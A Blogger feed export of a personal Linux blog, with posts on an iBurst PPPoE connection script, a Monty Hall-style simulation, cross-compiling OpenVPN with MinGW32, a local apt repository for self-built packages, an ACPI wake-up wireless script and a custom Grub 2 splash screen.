tag:blogger.com,1999:blog-36948420051738983802024-02-19T08:09:58.395+02:00Quintin Beukes' BlogWhat remains of my blog after I became a ninja and moved to the mountains.Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.comBlogger28125tag:blogger.com,1999:blog-3694842005173898380.post-73595731743572287582017-12-03T11:37:00.001+02:002017-12-03T11:37:09.379+02:00Why Love Linux<br />
<br />
Why love Linux? Or any FOSS project? Because it's all in the community and culture surrounding it. <a href="https://whylovelinux.wordpress.com/">https://whylovelinux.wordpress.com/</a>Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-8496232518848263292013-11-28T11:36:00.000+02:002017-12-03T11:40:23.355+02:00A Psalm to LinuxA little humour in celebration of a Thursday morning victory.<br />
<br />
<i>Oh holy Linux, holy Linux.</i><br />
<i>Thou art forever my only love.</i><br />
<i>My heart be filled with joy at your Enter.</i><br />
<i><br /></i><i>Oh holy Linux, holy Linux.</i><br />
<i>We bring you praise.</i><br />
<i>We give you all the glory.</i><br />
<i><br /></i><i>Oh holy Linux, holy Linux.</i><br />
<i>May you forever be,</i><br />
<i>Ctrl, Alt and Delete free.</i>Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com1tag:blogger.com,1999:blog-3694842005173898380.post-86963664427334059432011-03-18T23:02:00.000+02:002017-12-03T11:51:14.328+02:00Linux iBurst Connection Script I always do things to make my life easier, and one of the ways I achieve this is scripts to automate tasks or make them more informative/easy to use.<br />
<br />
One of these tasks is connecting to the internet on my iBurst connection at home. This is for the USB modem which uses PPPoE over an ethernet device emulated by the driver.<br />
<br />
Originally I had to use "pon iburst" to connect, then check /var/log/messages to ifconfig to see if and when I am connected. Over time I started scripting this and this post is the result of that script. <br />
<br />
It has matured quite a bit over the past few years. A list of features can be summarized as follows:<br />
<br />
<ol>
<li>When instructed to connect will invoke "pon <peer>" (for a configured peer).</peer></li>
<li>Shows connection progress using a zenity dialog.</li>
<li>All important feedback like errors are reported via zenity message boxes.</li>
<li>A successful connect is reported via Gnome's informational messages using notify-send. This is only if the notify-send command is available and you are logged into a Gnome session. The fallback is to use a zenity message box.</li>
<li>The assigned IP address will be displayed in the message when connected successfully.</li>
<li>If pppd dies it will fail the connection attempt immediately and report this.</li>
<li>If the connection attempt remains for a long time without getting an IP address, it will be timed out after a configured amount of time.</li>
<li>If the connection attempt fails for any reason it will ensure pppd exits and kill it if necessary.</li>
<li>Connects and disconnects can be cancelled. Script will ensure pppd exits and kill it if necessary.</li>
<li>When killing pppd the script will use increasing levels of aggressiveness to work around being interrupted by blocking processes.</li>
<li>If a connection existed previously it will disconnect unless otherwise instructed with command line switches.</li>
<li>Can reliably detect if an existing iBurst connection is already active.</li>
<li>Can be instructed to connect quietly.</li>
<li>If the iBurst device isn't plugged into it will display an error.</li>
<li>This error can be suppressed by a command line switch (useful in automation like if executed when you log in).</li>
<li>Supports hooks for pre and post connect, successful disconnect and any error.</li>
<li>Thorough logging to a configured log file.</li>
<li>When executed as a non-root user will wrap itself inside a sudo session. This way if the sudo is configured to allow execution of the script without a password, then you can run the script as any of the allowed users.</li>
<li>Automatically controls the up/down state of the iBurst driver interface (usually ib0). This was discovered from experience and experimentation and increases stability and maximum success with connection attempts. </li>
<li>Some misc other stability and reliability tweaks in the way connections are managed.</li>
</ol>
<div>
This is quiet an extensive list of features. I have found the script to be very reliable these days and can probably say that I connect successfully 100% of the time. The only times I have problems is when the ISP has delays in authenticating me. I haven't had any problems in the past few months where I need to manually play around with plugging/unplugging the device, up/downing the interface, etc.</div>
<div>
<br /></div>
<div>
So I decided to share it. </div>
<div>
<br />
<b><span class="Apple-style-span" style="font-size: large;">How to Use</span></b></div>
<div>
Requirements to use it:</div>
<div>
<ol>
<li>Have zenity installed: apt-get install zenity</li>
<li>If using Gnome, recommended to have notify-send installed: apt-get install libnotify-bin</li>
<li>Have a PPPD peer setup that can be connected using: /usr/bin/pon peername</li>
<li>Download the script at: <a href="http://sites.google.com/site/qbeukesblog/connect.iburst.sh">http://sites.google.com/site/qbeukesblog/connect.iburst.sh</a></li>
</ol>
<div>
With the above requirements satisfied you can edit the script and change the configuration options in the beginning. Most important option is the IB_IFACE and PEER variables. PEER should be the name of the peer used supplied to /usr/bin/pon. IB_IFACE should be the network device name created by the iBurst driver. This is usually ib0.</div>
<div>
<br />
Then if you're going to execute this command as a non-root user, add the following to your <b><i>/etc/sudoers</i></b> file. Remember to replace in your username and the full path to the connect script.<br />
<pre>your-username ALL=(root) NOPASSWD: /opt/iburst/connect.iburst.sh</pre>
<br /></div>
<div>
After this you can simply use the following commands to use the script. These commands assume the script is on the command path.</div>
<div>
<br /></div>
<div>
Connect to the configured peer. Will disconnect if there is already an active connection:</div>
<pre>connect.iburst.sh</pre>
</div>
<div>
<br /></div>
<div>
Connect to the configured peer. If already connected will do nothing.</div>
<pre>connect.iburst.sh --no-disconnect</pre>
<div>
<br /></div>
<div>
Only attempt a connection if the iBurst device is plugged in. This is detected by checking if the IB_IFACE interface is available.</div>
<pre>connect.iburst.sh --conditional</pre>
<div>
<br /></div>
<div>
Only attempt a connection if the iBurst device is plugged in. Also, if already connecting nothing will be done.</div>
<pre>connect.iburst.sh --no-disconnect --conditional</pre>
<div>
<br />
<b><span class="Apple-style-span" style="font-size: large;">Hooks</span></b><br />
<br /></div>
<div>
If you want to use the hooks, you need to create a directory called <b><i>connect.iburst.hooks</i></b> in the same location the script is executed from. So if you execute the script from <b><i>/opt/iburst</i></b>, you need to create the directory at <b><i>/opt/iburst/connect.burst.hooks</i></b>. If you want to put the directory in a different location, you can do so by editing the HOOKS_DIR variable in the beginning of the script.<br />
<br />
From here you can create hooks for 4 types of events:<br />
<ol>
<li>before: Pre Connect</li>
<li>disconnect: Successful disconnect. Hooks receives 1 argument, which is the trigger for the disconnect.</li>
<li>success: Post Successful Connect. Hooks receives 1 argument, which is the IP address.</li>
<li>error: Error condition</li>
</ol>
<div>
The files inside the hooks directory need to be named as follows:</div>
<div>
hookid.eventname.sh</div>
<div>
<br /></div>
<div>
Here <b><i>hookid</i></b> is simply a name to identify the hook. You can choose this name and it may be anything valid in a filename. </div>
<div>
<br /></div>
<div>
The <b><i>eventname</i></b> is the name of one of the 4 hook events, as listed above (before, disconnect, success or error).</div>
<div>
<br /></div>
<div>
Finally you just need the .sh extension.</div>
<div>
<br /></div>
<div>
As a note, for any given event, these hooks are executed in no specific order. They are also executed synchronously, so any commands that won't exit needs to be executed in the background manually.</div>
<div>
<br /></div>
<div>
Then, for the hook to be executed the file needs to be executable. </div>
<div>
<br /></div>
<div>
For an example, if we wanted to make a hook that will execute a dynamic DNS update whenever we are connected successfully, we would want to hook into the success event, so we'd call the script <b><i>dynamicdns.success.sh</i></b>.</div>
<div>
<br /></div>
<div>
The success event supplies 1 argument to the script, which is the IP address we were assigned. We could then make use of this IP address when doing the DNS update. </div>
<div>
<br /></div>
<div>
<b><span class="Apple-style-span" style="font-size: large;">Example Setup</span></b></div>
<div>
<br /></div>
<div>
In my setup, I have the script and it's hooks installed at <b><i>/usr/zbin/connect.iburst.sh</i></b> and <b><i>/usr/zbin/connect.iburst.hooks</i></b>.</div>
<div>
<br /></div>
<div>
Then I have the script configured in my sudoers file so I can execute it without a password.<br />
<br />
When I log into Gnome, on my panel I have a shortcut icon the I can click to connect explicitly. This will execute <b><i>/usr/zbin/connect.iburst.sh</i></b>. This way it will disconnect if it's already connected.<br />
<br />
Finally I also added a command to my Gnome startup, so that whenever I log in and the iBurst device is plugged in a connection will be created. Further, if a connection already exists it won't disconnect and reconnect. This could be the case where I, for example, would log out and log back in for whatever reason. This is achieved by adding the following command line to startup:</div>
<pre>connect.iburst.sh --no-disconnect --conditional</pre>
</div>
<br />
<b><span class="Apple-style-span" style="font-size: large;">Download</span></b><br />
<br />
The script can be downloaded from here: <a href="http://sites.google.com/site/qbeukesblog/connect.iburst.sh">http://sites.google.com/site/qbeukesblog/connect.iburst.sh</a>Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-39465482421872407822010-08-27T22:25:00.000+02:002017-12-03T11:42:17.222+02:00Winning at Pick the MugEveryone knows the classical Pick the Mug game, where you have 3 mugs and you have to guess which mug has the stone in it. Every time you play you have a 33% change to guess correctly.<br />
<br />
But what if, after you made your first guess, one of the other 2 mugs is revealed, specifically one that doesn't have the stone, and you have the option of changing your guess. In other words, if you were to pick mug A, and mug B had the stone, then mug C would be revealed and you can choose to either stay with mug A or change to mug B. Or for another example, if you choose mug B, and it has the stone, then either mug A or C would be revealed and you have the option of changing your option between your first choice and the one that wasn't revealed.<br />
<br />
If you were to stay with your choice, you still have only 33% chance to win. But if you were to change your choice, your chances to win increases to 66%. So if this were the rules of the game, you double your chances to win if you consistently change your choice.<br />
<br />
When I first heard this, I could understand the math behind it, but that's all I thought it was, a bit of math. I didn't think it would reflect the real world. In other words, I didn't think applying this would actually improve my chances of winning. After all, whether you stay or change, the designated mug didn't. I decided to put it to the test, and wrote a little program that will play the game a certain amount of rounds using each of the 2 strategies, and then see how effective each strategy was at winning.<br />
<br />
After doing this, and playing each strategy 1 million times, I found that the game was won 33% of the time when you stay with the initial choice, and 66% of the time if you change your choice. Here is the output of 5 games, each game being reseeded with the current time and all random number generation for a given game happening from the same java.security.SecureRandom instance.<br />
<pre>Playing 1000000 games with seed: 1282940127868
+ ------------- + ------- + ------- +
| Description | Perc | Count |
+ ------------- + ------- + ------- +
| Keep Guess | 33.2673 | 332673 |
| Change Guess | 66.6309 | 666309 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282940139406
+ ------------- + ------- + ------- +
| Description | Perc | Count |
+ ------------- + ------- + ------- +
| Keep Guess | 33.3591 | 333591 |
| Change Guess | 66.5868 | 665868 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282940150963
+ ------------- + ------- + ------- +
| Description | Perc | Count |
+ ------------- + ------- + ------- +
| Keep Guess | 33.3038 | 333038 |
| Change Guess | 66.6906 | 666906 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282940162498
+ ------------- + ------- + ------- +
| Description | Perc | Count |
+ ------------- + ------- + ------- +
| Keep Guess | 33.3286 | 333286 |
| Change Guess | 66.6777 | 666777 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282940174009
+ ------------- + ------- + ------- +
| Description | Perc | Count |
+ ------------- + ------- + ------- +
| Keep Guess | 33.3406 | 333406 |
| Change Guess | 66.6462 | 666462 |
+ ------------- + ------- + ------- +</pre>
<br />
There you have it. The amount of times won, consistently matches the statistical probabilities. I'm still battling to completely believe this, though the numbers show it does.<br />
<br />
Just as a fun test to compare java.security.SecureRandom with standard java.util.Random, I run 5 games with the standard Random, and the results seems to be pretty much the same. <br />
<br />
Here is the output using java.util.Random with 5 games:<br />
<pre>Playing 1000000 games with seed: 1282943227982
+ ------------- + ------- + ------- +
| Description | Perc | Count |
+ ------------- + ------- + ------- +
| Keep Guess | 33.3512 | 333512 |
| Change Guess | 66.6876 | 666876 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282943228344
+ ------------- + ------- + ------- +
| Description | Perc | Count |
+ ------------- + ------- + ------- +
| Keep Guess | 33.3279 | 333279 |
| Change Guess | 66.7352 | 667352 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282943228758
+ ------------- + ------- + ------- +
| Description | Perc | Count |
+ ------------- + ------- + ------- +
| Keep Guess | 33.4019 | 334019 |
| Change Guess | 66.6114 | 666114 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282943229166
+ ------------- + ------- + ------- +
| Description | Perc | Count |
+ ------------- + ------- + ------- +
| Keep Guess | 33.3664 | 333664 |
| Change Guess | 66.6776 | 666776 |
+ ------------- + ------- + ------- +
Playing 1000000 games with seed: 1282943229573
+ ------------- + ------- + ------- +
| Description | Perc | Count |
+ ------------- + ------- + ------- +
| Keep Guess | 33.3731 | 333731 |
| Change Guess | 66.6791 | 666791 |
+ ------------- + ------- + ------- +</pre>
<br />
Random, as you can see from the seeds, was MUCH faster as well, all tests taking 2 seconds in total compared to 57 seconds with SecureRandom.<br />
<br />
To test if SecureRandom does give results generally closer to the probabilities, I decided to run 30 runs with 1,000,000 games on each run, and then see the deviations from 33.3% and 66.6% on each. Each game will be reseeded with the time on each run of 1,000,000 games. The results of this is:<br />
<pre>Playing 30 rounds with 1000000 games each.
+ --------------------- + ------- + ------- + ------- +
| Description | Min | Max | Range |
+ --------------------- + ------- + ------- + ------- +
| Secure Keep Guess | 33.2524 | 33.4422 | 0.1898 |
| Secure Change Guess | 66.5545 | 66.7486 | 0.1941 |
| Standard Keep Guess | 33.2437 | 33.4309 | 0.1872 |
| Standard Change Guess | 66.5841 | 66.7979 | 0.2138 |
+ --------------------- + ------- + ------- + ------- +</pre>
<br />
So the results are actually pretty much the same. We're only randomizing between 2 and 3 after all. So there is no real conclusion here. Mostly just satisfied curiosity.<br />
<br />
You can download the application's code at: <a href="https://sites.google.com/site/qbeukesblog/MugsGame.tar.bz2">https://sites.google.com/site/qbeukesblog/MugsGame.tar.bz2</a>. This is only the code for the initial tests. The experiments with the generators aren't included.Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com1tag:blogger.com,1999:blog-3694842005173898380.post-10351783487479630952010-08-11T22:27:00.006+02:002010-08-12T00:31:42.179+02:00Cross Compiling OpenVPN for Windows on Linux<div>I went through quite a struggle to build OpenVPN and a custom installer for Windows using my Linux machine. This post describes how to achieve this. To make it easier I packaged all the actual build steps into a script.</div><div><br />
</div><div>This post works on the cross compiling environment prepared in my previous post <a href="http://qbeukes.blogspot.com/2010/08/building-cross-compiler-on-linux-for.html">Building a Cross Compiler on Linux for MinGW32</a>.</div><div><br />
</div><div>If you want to build the installer exe for OpenVPN as well, you will need NSIS (Nullsoft Installer System) installed. Download and compile it from <a href="http://nsis.sourceforge.net/">http://nsis.sourceforge.net/</a>.</div><div><br />
</div><div>You will still be able to build the exes without NSIS. NSIS is only needed for packaging them into an installer.</div><div><br />
</div><div>Also note that this doesn't build the TAP driver. It just copies the prebuilt one. To do this would have to install the <b><i>Microsoft DDK</i></b>, make an <b><i>amd64</i></b> cross compile environment and modify my script to build the driver instead of copying it.</div><div><br />
</div><div>First download the following:</div><div><ol><li>Prebuilt packages from <a href="http://openvpn.net/prebuilt/">http://openvpn.net/prebuilt/</a>. Choose the latest <b><i>-prebuilt</i></b> .tbz file.</li>
<li>Download the latest OpenVPN source code tar.gz archive.</li>
<li>Download the build scripts from <a href="http://sites.google.com/site/qbeukesblog/build-openvpn.tar.gz">here</a>.</li>
</ol></div><div>Then extract the build scripts to your home directory. This will then create a directory<b><i> ~/openvpn-src</i></b> which contains <b><i>~/openvpn-src/archive</i></b>. Copy the prebuilt and OpenVPN source code packages into <b><i>~/openvpn-src/archive</i></b>.</div><div><br />
</div><div>Modify the <b><i>~/openvpn-src/env.sh</i></b> script to reflect your cross-compiler environment. The variables have the following purposes:</div><div><ul><li>PREFIX - Where to install the compiled OpenVPN files</li>
<li>TARGET - The build environment you're targeting, for example <b><i>i686-mingw32msvc</i></b></li>
<li>TOOLCHAIN - The root location where the cross compiler binaries are access from.</li>
<li>MAKENSIS - The full path to your makensis variable. Leave this empty if you don't want the installer to be created or if you don't have NSIS installed.</li>
<li>The rest of them are standard autoconf environment variables.</li>
</ul><div>When you're ready you can kick of <b><i>build-openvpn.sh</i></b>.</div></div><div><br />
</div><div>The resulting OpenVPN .exe files will be located in the directory your <b><i>PREFIX</i></b> variable points to, which by default would be <b><i>~/openvpn-dist</i></b>.</div><div><br />
</div><div>This script was tested with <b><i>openvpn-2.1.1</i></b> and <b><i>2.1_rc22-prebuilt.tgz</i></b>.</div>Quintinhttp://www.blogger.com/profile/03181046816784471817noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-70448479332180330822010-08-11T20:30:00.007+02:002010-08-11T22:40:46.509+02:00Building a Cross Compiler on Linux for MinGW32I was installing OpenVPN the other day and after getting everything up and running wanted to build an installer for Windows, to make it easier for the average person to be able to connect to the company VPN.<div><br /></div><div>The basic idea was to prompt for a P12 cert and it's private key password during the installation and then install this along with the OpenVPN client. OpenVPN has an option "askpass", which allows you to store the private key password for a CRT or P12 cert. The build provided on openvpn.net, however, has this feature disabled. Due to this I had to recompile OpenVPN.</div><div><br /></div><div>Not having Windows installed I knew I was going to have to figure out another way to get it to compile. I could either try and get MinGW32 running in Wine or setup a cross compiler environment. I thought the latter would be the easier option (as I was quite familiar with the existing Linux building environment). Boy was I wrong.</div><div><br /></div><div>Either way. During the process of building the cross compiler, sorting out problem after problem I came across a script written by Paul Millar, which will extract, patch and compile MinGW32 for you as a cross compiler. This is a life saver.</div><div><br /></div><div>To honor his hard work, even though still a bit tricky to use, I'm documenting it here.</div><div><br /></div><div>Firstly, download and extract this script into <b><i>~/mingw-src<span class="Apple-style-span" style="font-weight: normal;"><span class="Apple-style-span" style="font-style: normal;">. You can get it <a href="http://sites.google.com/site/qbeukesblog/mingw-cross-0.4.tar.gz">here</a>. Inside this directory also create 2 other directories called <b><i>Archive</i></b> and <b><i>Patches</i></b>.</span></span></i></b></div><div><br /></div><div>Then, get hold of the following source packages from <a href="http://www.sourceforge.net/projects/mingw/files/">http://www.sourceforge.net/projects/mingw/files/</a>:</div><div><ul><li>gcc</li><li>binutils</li><li>w32api</li><li>mingw-runtime</li></ul><div>At the time of writing this, they had the following names:</div></div><div><ul><li>gcc-3.4.4-3-msys-1.0.13-src.tar.lzma</li><li>binutils-2.19.51-3-msys-1.0.13-src.tar.lzma</li><li>w32api-3.14-3-msys-1.0.12-src.tar.gz</li><li>mingw-runtime-3.14-src.tar.gz</li></ul><div>Then extract these archives into <b><i>~/mingw-src/Archive</i></b>. The lzma archives would first have to be extacted with lzma into a temporary location, and the resulting tar archive extracted into <b><i>~</i></b><b><i>/mingw-src/</i></b><b><i>Archive</i></b>.</div></div><div><br /></div><div>Extract them one at a time, because some of them also contain patches. As you extract each of these, copy the patches into the <b><i>~/<span class="Apple-style-span" style="font-style: normal; font-weight: normal; "><b><i>mingw-src</i></b></span>/Patches</i></b> directory, naming them <b><i>{prefix}_name.patch</i></b>, where <b><i>{prefix}</i></b> would be gcc, binutils, w32api or mingw-runtime_, depending on which archive the patch originated from.</div><div><br /></div><div>For example, the binutils package has 2 patches, nl.</div><div><ol><li>01-scriptdir.patch</li><li>binutils-2.19.51-1-msys.patch</li></ol><div>These would respectively be places in <b><i>~/mingw-src/Patches</i></b> with these names:</div></div><div><ol><li>binutils_01-scriptdir.patch</li><li>binutils_binutils-2.19.51-1-msys.patch.</li></ol><div>The important part is the prefix and underscore. What comes after it doesn't actually matter. So you could name them <b><i>binutils_1</i></b> and <b><i>binutils_2</i></b> if you prefer.</div></div><div><br /></div><div>When you're done with this, edit the <b><i>parameters</i></b> file, applying the following changes:</div><div><ol><li>Comment the <b><i>LANGUAGES</i></b> variable.</li><li>There are 2 definitions of the <b><i>DEFAULT_CC</i></b> variable. The first assigns it the value <b><i>gcc-4.0</i></b> and the second prefixes it with a <b><i>distcc</i></b> invocation. Change the value of the first to only <b><i>gcc</i></b> and comment the second.</li><li>Comment the <b><i>DISTCC_LOG</i></b> and <b><i>DISTCC_HOSTS</i></b> variables.</li><li>Change <b><i>MAKE_PROCESS_COUNT</i></b> to equal the number of CPU cores you have available, multiplied by 2, plus 1. So if you have 4 cores, this would be (4*2) + 1, which is 9.</li><li>Comment the <b><i>ROOT_TARGET</i></b> variable.</li><li>Comment the <b><i>CLUSTER_DEPLOY</i></b> variable.</li><li>Check what the extensions are for your binutils, w32api and mingw-runtime archives in the <b><i>~/mingw-src/Archive</i></b> directory. If it's not tar.gz for any of these, update the <b><i>BINUTILS</i></b>, <b><i>W32API</i></b> and <b><i>RUNTIME</i></b> variables to reflect the correct extension.</li></ol><div>After the script has finished building the packages, change to <b><i>~/mingw32</i></b> where the packages were deployed and run the following commands:</div><div><pre>cd ~/mingw32<br />cp -Rp i686-mingw32msvc/include/ i686-mingw32msvc/lib/ ./<br />rm -rf i686-mingw32msvc/include/ i686-mingw32msvc/lib/<br />ln -s ../include i686-mingw32msvc/include<br />ln -s ../lib i686-mingw32msvc/lib</pre></div><div>Then you should have a working cross compiler environment in <b><i>~/mingw</i></b>.</div></div><div><br /></div><div>To use it, load the following environment:</div><div><pre>PREFIX=$HOME/openvpn<br />TARGET=i686-mingw32msvc<br />TOOLCHAIN=$HOME/mingw32<br />BIN="$TOOLCHAIN/bin"<br />export PATH="$BIN:$TOOLCHAIN/$TARGET/bin:$PATH"<br />export CC="$BIN/$TARGET-gcc"<br />export LDFLAGS="-L$TOOLCHAIN/lib"<br />export CFLAGS="-I$TOOLCHAIN/include"<br />export CROSS_COMPILE="$TARGET"</pre></div><div>Remember to update the value of <b><i>PREFIX</i></b> to where you want to install the resulting package, which in the example is <b><i>~/openvpn</i></b>.</div><div><br /></div>Once loaded you can compile a package (like OpenVPN) with the following command. This has to be run from the directory where it's source code is extracted.<div><pre>./configure --prefix=$PREFIX --build=$TARGET && make && sudo make install</pre></div><div>And that's all there is to it. The resulting package will be located in the directory where <b><i>PREFIX</i></b> points.</div>Quintinhttp://www.blogger.com/profile/03181046816784471817noreply@blogger.com1tag:blogger.com,1999:blog-3694842005173898380.post-1562922295743012582010-01-17T12:45:00.000+02:002017-12-03T11:47:32.047+02:00Upgrading with apt-get replaces packages built from sourceSometimes you need to apply your own flavor to some distribution package. With apt this is a dream, as you simply (using the example of grub2):<br />
<ol>
<li>Instruct to to install all the dependencies needed to rebuild a specific package:<br />sudo apt-get build-dep grub2</li>
<li>Fetch, extract and apply distro patches of the source code:<br />apt-get source grub2</li>
<li>Make your modifications</li>
<li>Rebuild (from inside the extracted source tree)<br />dpkg-buildpackage -j2 -rfakeroot -b</li>
<li>Then install the generated .debs</li>
</ol>
<div>
This is all fine except for when you get to upgrading your packages to newer versions. The package selection policies always see self installed debs as lower priority to those coming from the repositories. </div>
<div>
<br /></div>
<div>
So your package will always be replaced with it's same original distro version. To explain with a more clear example, assume you have linux-image-2.6.31-17-generic installed. You fetch it's source, beat a bug, rebuild and install it, once you upgrade the repositories version of linux-image-2.6.31-17-generic will be installed, making the bug a "zombie".</div>
<div>
<br /></div>
<div>
I had a look around, and it seems that the solutions a float is to either </div>
<div>
<ol>
<li>increase the version of the package so it's higher than the one from the repository, or </li>
<li>to "hold" the package.</li>
</ol>
<div>
The problem with the first approach is that you need to select the version carefully enough, so a legitimate upgrade doesn't go unnoticed. If you were to increase version 1.0 to 1.1, and a version 1.0.1 gets released, you'll miss it, because you're version is still higher.</div>
<div>
<br /></div>
<div>
The problem with the second approach is that you'll never have the package upgraded. </div>
<div>
<br /></div>
<div>
So in both cases you'll probably end up having to monitor for upgrades these package, to ensure you don't miss any. There is also the option of seeing which packages are proposed for the upgrade, and just not do any of those you built yourself unless their versions were increased.</div>
<div>
<br /></div>
<div>
This was inefficient for me, since my list of self-built packages were growing increasingly large, and I had more than one machine to do all this maintenance on.</div>
<div>
<br /></div>
<div>
So I set out on finding a solution. In the process of applying a possible solution I found that it's actually very simple. Halfway through it was already solved. </div>
<div>
<br /></div>
<div>
So here it is: </div>
<div>
<ol>
<li>Create your own repository</li>
<li>Load your packages into the repository</li>
<li>Install them from the repository</li>
<li>Done</li>
</ol>
</div>
</div>
<div>
That's all there is to it.</div>
<div>
<br /></div>
<div>
So, to give a bit more detailed instructions.</div>
<div>
<ol>
<li>When your done testing your changes and ready to load the package into the repository, build your package with the dpkg-buildpackage command. This is necessary to generate the .changes file.</li>
<li>Setup a .deb repository and import the packages. <a href="http://www.debian-administration.org/articles/286">See this link for instructions</a>.</li>
<li>Add your repository to then end of your /etc/apt/sources.list file.</li>
<li>Install the package</li>
</ol>
<div>
Further, when setting up my repository, I gave a custom name as the repository's "Suite". This way I could more easily pin this repository. Doing this, however, will result in a warning when trying to import the packages using the reprepro utility. You can tell reprepro to ignore the warning and continue, or you can build your packages prepared for this repository.</div>
<div>
<br /></div>
<div>
To do so, when building your package, do the following from inside it's source tree:</div>
<div>
<ol>
<li>Open the 'debian/changelog' file</li>
<li>The first line would read something like:<br />gnutls26 (2.8.3-2) unstable; urgency=low<br />OR<br />grub2 (1.97~beta4-1ubuntu4.1) karmic-security; urgency=low</li>
<li>The part after the package version in parenthesis and before the semi-colon is the target "suite", in these cases 'unstable' and 'karmic-security' respectively.</li>
<li>Change this to whatever your configured 'Suite' value is, and build the package.</li>
</ol>
<div>
Another problem I ran into when trying to import my modified kernel image was a warning:</div>
<pre>Cannot put file 'virtio-modules-2.6.31-17-generic-di_2.6.31-17.54_i386.udeb' into component 'main', as it is not listed in UDebComponents!</pre>
<div>
This was because I didn't include a UDebComponents entry in my repository configuration, which has to be listed AFTER the Components entry. So if you're going to rebuild and import the kernel, you need to have something similar to this in your 'conf/distributions' file:</div>
<pre>Components: main non-free contrib
UDebComponents: main</pre>
<div>
And that's about all there was to it. I suspect it might depend on the order of the repositories as well, so if this doesn't seem to help, try and swap the order your repositories are listed in your sources.list, or try pinning your custom repository with a higher priority.</div>
<div>
<div>
<br /></div>
</div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-15565440748510909312010-01-15T22:19:00.000+02:002017-12-03T11:49:52.581+02:00Reconnect to wireless network when opening laptop lidWhen I close my laptop's LID, my installation is configured to put the computer into "standby", a.k.a. sleep mode. This turns off some devices, which includes my network devices, specifically my wireless device.<br />
<div>
<br /></div>
<div>
When it wakes from sleep mode, the "known" wireless networks isn't always up to date, and sometimes doesn't update for up to 10 to 20 seconds, which means NetworkManager only reconnects to the wireless network when it does do such a scan.</div>
<div>
<br /></div>
<div>
I have, however, noticed that forcing a scan by running "iwlist <dev> scan" as root causes NetworkManager to immediately pick up the network and initiate the connection.</dev></div>
<div>
<br /></div>
<div>
So I conjured up a script to help with this.</div>
<div>
<br /></div>
<div>
ACPI allows one to plug into some of it's events, one of which is the "lid" event. Though, once my laptop went into sleep mode, opening the lid doesn't automatically wake it up. I have to explicitly press the power button for this. The result is that the lid OPEN event is never triggered, as the machine is in standby when it physically happens.</div>
<div>
<br /></div>
<div>
I had a look at the ACPI docs, and there doesn't seem to be an event for "wake". Using acpi_listen, I did notice some events being triggered with the wake up. These are the ac_adapter, battery and 2 processor events (one for each core). They didn't carry any information which could reliably indicate a wake event, so I was forced to do my own.</div>
<div>
<br /></div>
<div>
So whenever I close my lid, I have an event that creates a file under /tmp. When the processor event is handled, it would check for this file, which if it exists indicates a fairly descent probability of "wake up".</div>
<div>
<br /></div>
<div>
If I were to close the lid and open it up before sleep mode has entered, ACPI does trigger an open event, which is the reason for the check on line 15 of "sleeplid.sh".</div>
<div>
<br /></div>
<div>
So to set this up I edited /etc/acpi/events/lidbtn, and added a 2nd action to trigger my event script. This results in the file reading:</div>
<pre>event=button[ /]lid
action=/etc/acpi/lid.sh
action=/etc/acpi/sleeplid.sh lid</pre>
<div>
I also created a new event configuration, called /etc/acpi/events/processor, which reads:</div>
<pre>event=processor
action=/etc/acpi/sleeplid.sh processor</pre>
<div>
And finally, just to make the actual event handler /etc/acpi/sleeplist.sh:</div>
<pre>#!/bin/bash
LOG=/tmp/.sleeplig.log
SLEEPING=/tmp/.sleeplid.sleeping
DEV=wlan0
exec 2>&1 >> "$LOG"
echo "Event triggered: "`date`
DOSCAN=0
if [ "$1" = "lid" ]
then
if grep -q closed /proc/acpi/button/lid/*/state
then
echo "LID closed"
touch "$SLEEPING"
else
echo "LID opened"
fi
elif [ "$1" = "processor" ]
then
echo "Processor event"
if [ -f "$SLEEPING" ]
then
rm -f "$SLEEPING"
DOSCAN=1
fi
else
echo "WARN: Unknown event '$1'"
fi
if [ $DOSCAN -eq 1 ]
then
echo "Initiating scan."
iwlist $DEV scan
fi</pre>
<div>
So this basically triggers the script to run with an argument "lid" whenever the lid event occurs, and argument "processor" when the processor event occurs.</div>
<div>
</div>
<div>
If you intend on using this you might need to update the DEV variable to whatever your wireless device is named. Since ACPI events are very device specific, you might also need to customize other aspects. Though the general idea would probably not change much.</div>
<br />
<br />
<div>
And people wonder why I only use Linux...</div>
Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-13148430466405420592010-01-03T00:21:00.000+02:002017-12-03T11:48:35.775+02:00My Custom Grub 2 Splash ScreenI recently purchased a new laptop and decided to install Ubuntu 9.10 (Karmic Koala) on it. It's long overdue, because until now I've been using 8.04, due to the huge effort to reconfigure everything until it's "just right".<br />
<br />
In the process there were quite a few things that changed which I either didn't like, or utterly despised. Though that didn't stop me and I started making thing's "just right".<br />
<br />
One of these were to customize my grub splash screen. Since the eye-pleasing grub screens have become popular a few years ago, having to go back to and 80x25 black/white screen was quite disappointing, so I got onto the net on the lookout for a wallpaper I could use I my splash screen, since those that ship with the grub2-splashimages packages are horrible.<br />
<br />
I found some truly great Ubuntu wallpapers at <a href="http://www.desktopnexus.com/tag/ubuntu/1">http://www.desktopnexus.com/tag/ubuntu/1</a>, and found a suitable one.<br />
<br />
Though in the process I discovered the limitations of grub "themes". You're stuck with a choice of 16 colors and the frame and text/title/list positions/sizes are fixed. So I jumped into the grub source, modified it, rebuilt the package and installed it - made simple thanks to Debian's amazing package management system.<br />
<br />
I basically changed the title to show my system's hostname instead of the grub version, move it to the middle on the Y axis (instead of 3-4 columns off-center), move the whole bunch a bit downwards to fit in with the background, changed the column widths a bit to also better fit the background, and finally tuned the colors just a bit.<br />
<br />
